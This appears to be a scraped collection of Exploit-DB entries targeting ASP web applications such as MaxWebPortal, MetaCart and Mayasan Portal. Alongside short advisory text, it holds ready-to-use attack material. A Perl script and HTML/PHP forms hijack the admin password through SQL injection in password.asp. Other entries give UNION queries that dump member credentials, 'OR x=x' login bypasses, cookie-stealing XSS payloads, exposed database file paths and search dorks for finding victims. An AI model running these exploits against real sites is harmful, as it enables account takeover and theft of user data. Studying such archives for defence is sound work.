deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25587
Description: Maxwebportal 1.3 - 'pic_popular.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-05-02
Author: s-dalili

Exploit:
source: https://www.securityfocus.com/bid/13466/info
  
MaxWebPortal is reportedly affected by multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

pics_popular.asp?10 LINK_ID, HIT,NAME, URL, KEYWORD, DESCRIPTION, EMAIL,
POST_DATE,
BANNER_URL, CATEGORY, PARENT_ID, SHOW, BADLINK FROM pic union select
m_username,m_password,1,1,1,1,1,1,1 from PORTAL_MEMBERS where
m_username='admin' union select
Exploit-DB #22746
Description: Maxwebportal 1.30 - 'search.asp?Search' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2003-06-06
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/7837/info

A number of vulnerabilities have been discovered in the MaxWebPortal.

The issues that have been discovered include:

MaxWebPortal 'search.asp' has been reported prone to a cross-site scripting vulnerability. An attacker may execute arbitrary script code in the security context of the system running MaxWebPortal.

MaxWebPortal has been reported prone to insecure hidden form field vulnerability. An attacker may save the 'start new topic' page offline. By modifying certain field values, the attacker may corrupt the MaxWebPortal contents.

MaxWebPortal has also been reported prone to insecure session cookie vulnerability. Reportedly if an attacker can retrieve a session cookie for a legitimate MaxWebPortal user, the attacker may hijack the account.

MaxWebPortal has been reported prone to a database disclosure vulnerability. MaxWebPortal does not sufficiently secure the database file. It is possible for remote attackers to request the database file and gain access to sensitive information.

MaxWebPortal 'password.asp' has been reported prone to a password-reset vulnerability. It has been reported that by requesting a forgotten password, an attacker may save the 'password reset' page offline. By modifying the member id in the script the attacker may reset arbitrary account passwords. 

http://www.example.com/search.asp?Search="><script>alert()</script>
Exploit-DB #22747
Description: Maxwebportal 1.30 - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2003-06-06
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/7837/info
 
A number of vulnerabilities have been discovered in the MaxWebPortal.
 
The issues that have been discovered include:
 
MaxWebPortal 'search.asp' has been reported prone to a cross-site scripting vulnerability. An attacker may execute arbitrary script code in the security context of the system running MaxWebPortal.
 
MaxWebPortal has been reported prone to insecure hidden form field vulnerability. An attacker may save the 'start new topic' page offline. By modifying certain field values, the attacker may corrupt the MaxWebPortal contents.
 
MaxWebPortal has also been reported prone to insecure session cookie vulnerability. Reportedly if an attacker can retrieve a session cookie for a legitimate MaxWebPortal user, the attacker may hijack the account.
 
MaxWebPortal has been reported prone to a database disclosure vulnerability. MaxWebPortal does not sufficiently secure the database file. It is possible for remote attackers to request the database file and gain access to sensitive information.
 
MaxWebPortal 'password.asp' has been reported prone to a password-reset vulnerability. It has been reported that by requesting a forgotten password, an attacker may save the 'password reset' page offline. By modifying the member id in the script the attacker may reset arbitrary account passwords. 

http://www.example.com/database/db2000.mdb
Exploit-DB #1012
Description: Maxwebportal 1.36 - 'Password.asp' Change Password (1) (HTML)
Type: webapps
Platform: asp
Date: 2005-05-26
Author: Soroush Dalili

Exploit:
<!--
Hi, I'm Soroush Dalili from Grayhatz Security Group (GSG) . I found dangerous sql injection
in Maxwebportal version 1.35,1.36,2.0, 20050418 Next
Remote user can inject his/her code in "memKey" var. and change other users password in
password.asp

Exploit codes to proof: 
-->

-----------------Code Start-----Version 1.35 and older--------------
<form action="http://[URL]/password.asp?mode=reset" method="post">
<br>
pass1: <input name="pass" type="text" value="123456" size="150"><br>
pass2: <input name="pass2" type="text" value="123456" size="150"><br>
Id: <input name="memId" type="text" value="-1" size="150"><br>
Member Key: <input name="memKey" type="text" value="foo' or M_Name='admin" size="150">
<br>
<input name="Submit" type="submit" value="Submit">
</form>
-----------------End-------------------

Version 1.36, 2.0, 20050418 Next:

-----------------Code Start-----Version 1.36, 2.0, 20050418 Next--------------
<form action="http://[URL]/password.asp?mode=reset" method="post">
<br>
pass1: <input name="pass" type="text" value="123456" size="150"><br>
pass2: <input name="pass2" type="text" value="123456" size="150"><br>
Id: <input name="memId" type="text" value="-1" size="150"><br>
Member Key: <input name="memKey" type="text" value="foo') or M_Name='admin' or ('1'='2"

size="150">
<br>
<input name="Submit" type="submit" value="Submit">
</form>
-----------------End-------------------

# milw0rm.com [2005-05-26]
Exploit-DB #1011
Description: Maxwebportal 1.36 - 'Password.asp' Change Password (2)
Type: webapps
Platform: asp
Date: 2005-05-26
Author: mh_p0rtal

Exploit:
<?php
/*
------Trap-Set Underground Hacking Team-----------------mh_p0rtal---------------------- 
Greetz to : Alpha_programmer , Oil_karchack , Str0ke   And Iranian Hacking & Security Teams : 
Alphast , IHS Team , Shabgard Security Team , Emperor Hacking TEam 
, CrouZ Security Team , Simorgh-ev Security Team 
----------------Discovered by: s d <irsdl@yahoo.com>------------------------------------------
*/ 
# Config ________________________________   
# address - example: http://www.site.com/password.asp
$url  = "http://www.mohamad.com/password.asp";  
$mh = "s1";   
# if webmaxportal version is : Version 1.35 and older please input $mh= "s1" 
# if webmaxportal version is : Version 1.36 , 2.0 please input $mh= "s2" 
# EnD ___________________________________
if ( $mh == "s1" ) {
print "<form action=\"$url?mode=reset\" method=\"post\"> <br> ";
print "Password1 : <input name=\"pass\" type=\"text\" value=\"abc123\" size=\"50\"><br>";
print "Confirm Pass: <input name=\"pass2\" type=\"text\" value=\"abc123\" size=\"50\"><br>"; 
print " ID  :&nbsp&nbsp&nbsp <input name=\"memId\" type=\"text\" value=\"-1\" size=\"50\"><br>"; 
print "Member key: <input name=\"memKey\" type=\"text\" value=\"foo' or M_Name='admin\" size=\"50\"><br>";
print "<input name=\"Submit\" type=\"submit\" value=\":::Change Pass:::\">";
print "</form>";
} if ( $mh == "s2" ) {
print "<form action=\"$url?mode=reset\" method=\"post\"> <br> ";
print "Password1: <input name=\"pass\" type=\"text\" value=\"abc123\" size=\"50\"><br>"; 
print "Confirm Pass : <input name=\"pass2\" type=\"text\" value=\"abc123\" size=\"50\"><br> ";
print "ID  :  &nbsp&nbsp&nbsp<input name=\"memId\" type=\"text\" value=\"-1\" size=\"50\"><br> ";
print "Member key: <input name=\"memKey\" type=\"text\" value=\"foo') or M_Name='admi n' or ('1'='2\" size=\"50\"> <br>"; 
print "<input name=\"Submit\" type=\"submit\" value=\":::Change Pass:::\">";
print "</form>";
} 
?>

# milw0rm.com [2005-05-26]
Exploit-DB #1010
Description: Maxwebportal 1.36 - 'Password.asp' Change Password (3)
Type: webapps
Platform: asp
Date: 2005-05-26
Author: Alpha_Programmer

Exploit:
#!/usr/bin/perl
#################################################################
#    T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
#################################################################
# EXPLOIT FOR - MAX Portal (All Versions)
#
#Exploit By :  A l p h a _ P r o g r a m m e r ( Sirus-v );
#E-Mail : Alpha_Programmer@Yahoo.com
#
#This Xpl Change Admin's Pass in This Portal !!
#
#Discovered by: s d <irsdl@yahoo.com>
#
#################################################################
#  Gr33tz To ==>   mh_p0rtal , Oil_karchack , Str0ke   &  AlphaST.Com
#
#And Iranian Hacking & Security Teams :
# IHS , Shabgard , Emperor ,Crouz & Simorgh-ev
#################################################################
use IO::Socket;

if (@ARGV < 2)
{
 print "\n==========================================\n";
 print " \n     -- Exploit By Alpha Programmer --\n\n";
 print "     Trap-Set Underground Hacking Team      \n\n";
 print "      Usage: Max.pl <T4rg3t> <V3rsion>\n\n";
 print " V3rsion :\n";
 print " 1 ==>   Version 1.35 and 0lder\n";
 print " 2 ==>   Version 1.36, 2.0 and Next\n";
 print "==========================================\n\n";
 print "Example:\n\n";
 print "    Max.pl www.Site.com 1\n";
 exit();
}
$hell = "foo' or M_Name='admin";
if ($ARGV[1] =~"2" ){$hell = "foo%27%29+or+M_Name%3D%27admin%27+or+%28%271%27%3D%272"};


my $host = $ARGV[0];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "C4nn0t C0nn3ct to $host" }

print "C0nn3cted\n";

$http = "POST /password.asp?mode=reset HTTP/1.0";
$http .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\n";
$http .= "Accept-Language: fa\n";
$http .= "Content-Type: application/x-www-form-urlencoded\n";
$http .= "Pragma: no-cache\n";
$http .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)\n";
$http .= "Host: $host\n";
$http .= "Content-Length: 111\n";
$http .= "Proxy-Connection: Keep-Alive\n";
$http .= "Cookie: SSOComhide=Name=admin; SSOComUser=Cookies=&Pword=d7fae5da3d785535c12b70865519ba86&Name=admin\n\n";

$http .= "pass=trapset&pass2=trapset&memId=-1&memKey=$hell&Submit=Submit\n\n\n\n";

print "\n";
print $remote $http;
sleep(1);
print "[+] Attacking ...\n";
print "[+] Changing Admin's Password ...\n";
while (<$remote>)
{
}
print "\nNow Go to $host and Login With :\n\n";
print "User: admin\n";
print "Pass: trapset\n\n";
print "Enjoy ;)\n";
print "\n";
### EOF ###

# milw0rm.com [2005-05-26]
Exploit-DB #33236
Description: Maxwebportal 1.365 - 'forum.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2009-09-22
Author: OoN_Boy

Exploit:
source: https://www.securityfocus.com/bid/36480/info

MaxWebPortal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/forum.asp?FORUM_ID=42&CAT_ID=7+and+1=convert%28int,@@version%29--
Exploit-DB #23676
Description: Maxwebportal 1.3x - 'down.asp' HTTP_REFERER Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2004-02-10
Author: Manuel Lopez

Exploit:
source: https://www.securityfocus.com/bid/9625/info

It has been reported that MaxWebPortal may be prone to multiple vulnerabilities due to insufficient sanitization of user-supplied input. The specific issues include cross-site scripting, HTML injection and SQL injection.

MaxWebPortal versions prior to 1.32 have been reported to be prone to these issues.

<a href="<% =Request.ServerVariables("HTTP_REFERER") %>">Back</font></a></p>
Exploit-DB #25651
Description: Maxwebportal 1.3x - 'post.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2005-05-11
Author: Zinho

Exploit:
source: https://www.securityfocus.com/bid/13601/info

MaxWebPortal is affected by multiple remote vulnerabilities. These issues may allow an attacker to carry out cross-site scripting, SQL injection and HTML injection attacks.

MaxWebPortal 1.3.5 and prior versions are reportedly vulnerable to these issues. 

Cross-site Scripting
/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=%00General+Chat&mod="><plaintext>

/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=%00General+Chat&M="><plaintext>

/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=%00General+Chat&type="><plaintext>

HTML Injection:
/post.asp?method=Topic&FORUM_ID=1& CAT_ID=1&Forum_Title=http://<plaintext>
Exploit-DB #23677
Description: Maxwebportal 1.3x - Personal Message 'SendTo' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2004-02-10
Author: Manuel Lopez

Exploit:
source: https://www.securityfocus.com/bid/9625/info
 
It has been reported that MaxWebPortal may be prone to multiple vulnerabilities due to insufficient sanitization of user-supplied input. The specific issues include cross-site scripting, HTML injection and SQL injection.
 
MaxWebPortal versions prior to 1.32 have been reported to be prone to these issues.

<select name="Avatar_URL" size="4" onChange ="if (CheckNav(3.0,4.0)) URL.src=form.Avatar_URL.options[form.Avatar_URL.options.selectedIndex].value;">
<option value="javascript:alert(document.cookie)">POC-Avatar</option></select>
Exploit-DB #14421
Description: Mayasan Portal 2.0 - 'haberdetay.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2010-07-20
Author: CoBRa_21

Exploit:
########################################################################################

Mayasan Portal v2.0 (haberdetay.asp?id) SQL Injection Vulnerability

########################################################################################

Author : CoBRa_21

Author Web Page : http://www.ipbul.org

Download Page : http://scripti.org/indir.php?id=632

########################################################################################
 
Sql Injection:

http://localhost/[path]/haberdetay.asp?id=29 (Sql)

########################################################################################
Exploit-DB #14420
Description: Mayasan Portal 2.0 - 'makaledetay.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2010-07-20
Author: v0calist

Exploit:
===================================================
Mayasan Portal v2.0 ( makaledetay.asp?id= ) Remote Sql inj
===================================================
 
Author : v0calist
Homepage : http://v0calist.blogspot.com  &  www.worldhackerz.com
Mail : v0calist[at]hotmail[dot].com
Script : http://scripti.org/indir.php?id=632
Risk : No Risk
Dork : inurl:makaledetay.asp?id=
 
===================================================

[+] Vulnerable File : http://www.site.com/makaledetay.asp?id=123

===================================================

[+] Demo : http://www.site.com/makaledetay.asp?id=15%27a

===================================================

Greetz : MadConfig, Helia, Delp0rt3r

===================================================

# Turkish Hacker
Exploit-DB #31042
Description: MegaBBS 1.5.14b - 'upload.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-01-21
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/27368/info

MegaBBS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

MegaBBS 1.5.14b is vulnerable; other versions may also be affected. 

http://www.example.com/path/profile-upload/upload.asp?target=code
Exploit-DB #7348
Description: merlix educate servert - Authentication Bypass / File Disclosure
Type: webapps
Platform: asp
Date: 2008-12-05
Author: ZoRLu

Exploit:
[~] Merlix Educate Servert Bypass/DD Multiple Remote Vuln
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------

exp for demo: ( Bypass )

http://demo.merlix.com/school/admin/config.asp

http://demo.merlix.com/school/admin/users.asp

exp for demo: ( DD )

http://demo.merlix.com/school/db/db.mdb

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-12-05]
Exploit-DB #30426
Description: Message Board / Threaded Discussion Forum - 'Sign_In.aspx' SQL Injection
Type: webapps
Platform: asp
Date: 2007-07-28
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/25113/info

Message Board / Threaded Discussion Forum is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

To demonstrate this issue, use a valid username, such as 'admin', in the Username field, and the following string for the password field of the vulnerable script:

anything' OR 'x'='x
Exploit-DB #12478
Description: Mesut Manþet Haber 1.0 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2010-05-02
Author: LionTurk

Exploit:
==============================================================================  

        [»] ~ Note : LionTurk.Turkblog.com Resmi Web Sitem :D

==============================================================================  

        [»]Mesut Manþet Haber V1.0 Auth Bypass Vulnerability  

==============================================================================  

    [»] Script:             [ Mesut Manþet Haber V1.0 ]  
    [»] Language:           [ ASP ]  
    [»] Download:           [ http://www.aspindir.com/goster/5377] 
    [»] Founder:            [ LionTurk -  Bylionturk@kafam1milyon.com - LionTurk.Turkblog.com }
    [»] My Home:            [ RevengeHack.com & Ar-ge.Org ]  
    [»] N0T3   :             Yeni Aciklarimi Bekleyin.


###########################################################################  

===[ Exploit And Dork  ]===  

  [»] http://lionturk.turkblog.com/[dizin]/admin/admin_haber.asp or 
                                 /admin/admin_haber.asp?islem=ekle_kaydet

            Ýn the Admin panel

  [»] Mesut Manþet Haber


Author:  LionTurk <-  

- Turk'uz Varmi Otesi?

           Dandirik Scriptler Kullanmayýn.


###########################################################################
Exploit-DB #25544
Description: MetaBid Auctions - 'intAuctionID' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-26
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13395/info

A remote SQL injection vulnerability affects MetaBid Auctions. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in SQL queries.

An attacker may exploit this issue to manipulate SQL queries to the underlying database. This may facilitate the theft of sensitive information, potentially including authentication credentials, and data corruption. 

http://example.com/metabid/item.asp?intAuctionID='SQL_INJECTION
Exploit-DB #25667
Description: MetaCart E-Shop - 'ProductsByCategory.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-05-16
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/13639/info

MetaCart e-Shop is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/mcartlite/productsByCategory.asp?intCatalogID=1&strCatalog_NAME=<script>alert('test')</script>
Exploit-DB #25536
Description: MetaCart E-Shop V-8 - 'IntProdID' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-26
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13376/info

An SQL injection vulnerability affects MetaCart e-Shop V-8. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in SQL queries.

An attacker may exploit this issue to manipulate SQL queries to the underlying database. This may facilitate theft sensitive information, potentially including authentication credentials, and data corruption. 

http://www.example.com/eshopv-8/product.asp?intProdID='SQL_INJECTION&amp%3bstrCatalog_NAME=&amp%3bstrSubCatalog_NAME=&amp%3bstrSubCatalogID=&amp%3bintCatalogID=10001&amp%3bCurCatalogID=
http://www.example.com/mcart2pfp/product.asp?intProdID='SQL_INJECTION
http://www.example.com/mcart2sqluk/product.asp?intProdID='SQL_INJECTION
http://www.example.com/mcart2pal/product.asp?intProdID='SQL_INJECTION
Exploit-DB #25537
Description: MetaCart E-Shop V-8 - 'StrCatalog_NAME' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-26
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13377/info

An SQL injection vulnerability affects MetaCart e-Shop V-8. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in SQL queries.

An attacker may exploit this issue to manipulate SQL queries to the underlying database. This may facilitate theft sensitive information, potentially including authentication credentials, and data corruption. 

http://www.example.com/eshopv-8/productsByCategory.asp?intCatalogID=&amp%3bpage=2&amp%3bstrCatalog_NAME='SQL_INJECTION
http://www.example.com/mcart2pal/productsByCategory.asp?intCatalogID=&amp%3bpage=2&amp%3bstrCatalog_NAME='SQL_INJECTION
Exploit-DB #25541
Description: MetaCart2 - 'CurCatalogID' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-26
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13384/info

A remote SQL injection vulnerability affects MetaCart2. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in SQL queries.

An attacker may exploit this issue to manipulate SQL queries to the underlying database. This may facilitate theft sensitive information, potentially including authentication credentials, and data corruption.

http://www.example.com/mcart2pfp/productsByCategory.asp?strSubCatalogID=1&amp%3bcurCatalogID='SQL_INJECTION&amp%3bstrSubCatalog_NAME=Laptops
http://www.example.com/mcart2pal/productsByCategory.asp?strSubCatalogID=1&amp%3bcurCatalogID=%27SQL_INJECTION&amp%3bstrSubCatalog_NAME=Laptops
Exploit-DB #25539
Description: MetaCart2 - 'IntCatalogID' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-26
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13382/info

A remote SQL-injection vulnerability affects MetaCart2 because the application fails to properly sanitize user-supplied input before including it in SQL queries.

An attacker may exploit this issue to manipulate SQL queries to the underlying database. This may allow the attacker to steal sensitive information, potentially including authentication credentials, and to corrupt data.

MetaCart2 is vulnerable; other versions may also be affected. 

http://www.example.com/mcart2pfp/productsByCategory.asp?intCatalogID='SQL_INJECTION&amp%3bstrCatalog_NAME=Computers
http://www.example.com/mcart2pal/productsByCategory.asp?intCatalogID=%27SQL_INJECTION&amp%3bstrCatalog_NAME=Computers
http://www.example.com/mcart2sqluk/productsByCategory.asp?intCatalogID='SQL_INJECTION&amp%3bpage=2